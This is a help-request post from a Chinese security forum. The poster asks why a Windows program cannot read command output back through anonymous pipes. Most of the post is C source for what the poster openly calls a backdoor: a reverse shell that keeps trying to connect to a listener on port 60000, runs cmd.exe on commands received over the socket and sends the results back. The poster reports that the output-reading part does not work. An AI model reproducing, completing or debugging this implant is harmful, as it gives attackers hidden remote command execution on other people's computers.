首页
社区
课程
招聘
未解决 [求助] 重定向cmd输入输出 无法从 PeekNamePipe读出数据 10雪币
发表于: 2025-4-3 16:20 1202

未解决 [求助] 重定向cmd输入输出 无法从 PeekNamePipe读出数据 10雪币

2025-4-3 16:20
1202
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#pragma warning(disable:4996)
 
DWORD main() {
    WORD version = MAKEWORD(2, 2);
    WSADATA wsadata;
 
    if (WSAStartup(version, &wsadata)) {
        printf("fuil");
        return -1;
    }
 
    SOCKET Socket;
    SOCKADDR_IN info;
 
    info.sin_family = AF_INET;
    info.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    info.sin_port = htons(60000);
 
    Socket = socket(AF_INET, SOCK_STREAM, 0);
 
    while (WSAConnect(Socket, &info, sizeof(info), 0, 0, 0, 0)) {
        Sleep(5000);
    }
    /*ReadFile*/
 
    SECURITY_ATTRIBUTES Sa;
    HANDLE hOutWrite = NULL, hOutRead, hInWrite, hInRead;
 
    memset(&Sa, 0, sizeof(SECURITY_ATTRIBUTES));
    Sa.nLength = sizeof(Sa);
    Sa.bInheritHandle = TRUE;
    Sa.lpSecurityDescriptor = 0;
 
    //memset(&readSa, 0, sizeof(SECURITY_ATTRIBUTES));
    //readSa.nLength = sizeof(readSa);
    //readSa.bInheritHandle = TRUE;
    //readSa.lpSecurityDescriptor = 0;
 
    if (!CreatePipe(&hOutRead, &hOutWrite, &Sa, 0)) {
        printf("Out errot 1 %x", GetLastError());
        system("pause");
        return;
    }
    if (!SetHandleInformation(hOutRead, HANDLE_FLAG_INHERIT, 0)) {
        printf("Out errot 2 %x", GetLastError());
        system("pause");
        return;
    }
    if (!CreatePipe(&hInRead, &hInWrite, &Sa, 0)) {
        printf("In errot 1 %x", GetLastError());
        system("pause");
        return;
    }
    if (!SetHandleInformation(hInWrite, HANDLE_FLAG_INHERIT, 0)) {
        printf("In errot 2 %x", GetLastError());
        system("pause");
        return;
    }
 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    printf("sizeof(si): %x\n", sizeof(si));
    memset(&si, 0, sizeof(STARTUPINFO));
    printf("%x\n", si.cb);
    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
 
    si.hStdInput = hInRead;
    si.hStdOutput = hOutWrite;
    si.hStdError = hOutWrite;
    /*si.wShowWindow = SW_HIDE;*/
    si.dwFlags |= STARTF_USESTDHANDLES;
 
     
     
    char cmdPath[255] = { 0 };
     
    GetSystemDirectoryA(cmdPath, 255);
    strcat(cmdPath, "\\cmd.exe /c");
 
    if (!CreateProcessA(NULL, cmdPath, 0, 0, TRUE, 0, 0, 0, &si, &pi)) {
 
        printf("Create fuil %x\n", GetLastError());
        system("pause");
        return;
    }
 
    char cmdLine[255] = { 0 };
    char buff[1024 * 5] = { 0 };
    DWORD readByte = 0, writeByte = 0, totalByte = 0;
    DWORD ExitCode;
    int flag = 0;
 
 
    while (GetExitCodeProcess(pi.hProcess, &ExitCode)) {
     
        //if (!flag) {
        //  printf("hInWrite %x\n", GetLastError());
        //  system("pause");
        //}
        recv(Socket, cmdLine, sizeof(cmdLine), 0);
        strcat(cmdLine, "\r\n");
        flag = WriteFile(hInWrite, cmdLine, strlen(cmdLine), &writeByte, 0);
         
        if (!writeByte) {
            printf("hInWrite %x\n", GetLastError());
            system("pause");
        }
         
    /*  CloseHandle(hOutWrite);*/
        PeekNamedPipe(hOutRead, buff, sizeof(buff), &readByte, &totalByte, 0);
        printf("%d \n", totalByte);
        if (!readByte) {
            printf("pre houtRead %x\n", GetLastError());
            continue;
        }
         
         
        flag = ReadFile(hOutRead, buff, sizeof(buff), &readByte, 0);
        if (!flag) {
            printf("hOutRead %x\n", GetLastError());
            system("pause");
        }
         
        send(Socket, buff, strlen(buff), 0);
        memset(cmdLine, 0, sizeof(cmdLine));
        memset(buff, 0, sizeof(buff));
        readByte = 0;
        writeByte = 0;
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
 
}

首先 我想先问一下继承句柄有什么用 以为我发现创建cmd子进程如果不让他继承句柄的话 cmd无法将结果返回给我们

其次 就是 我通过socket将本机的命令发送到后门程序 recv可以正常接收 WriteFile也能正常写入但是 无法从readFile读出 (readFile会阻塞)我用PeekNamePipe预查看 发现readByte返回0 也就是说没有正确返回命令结果 希望各位大佬赐教



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回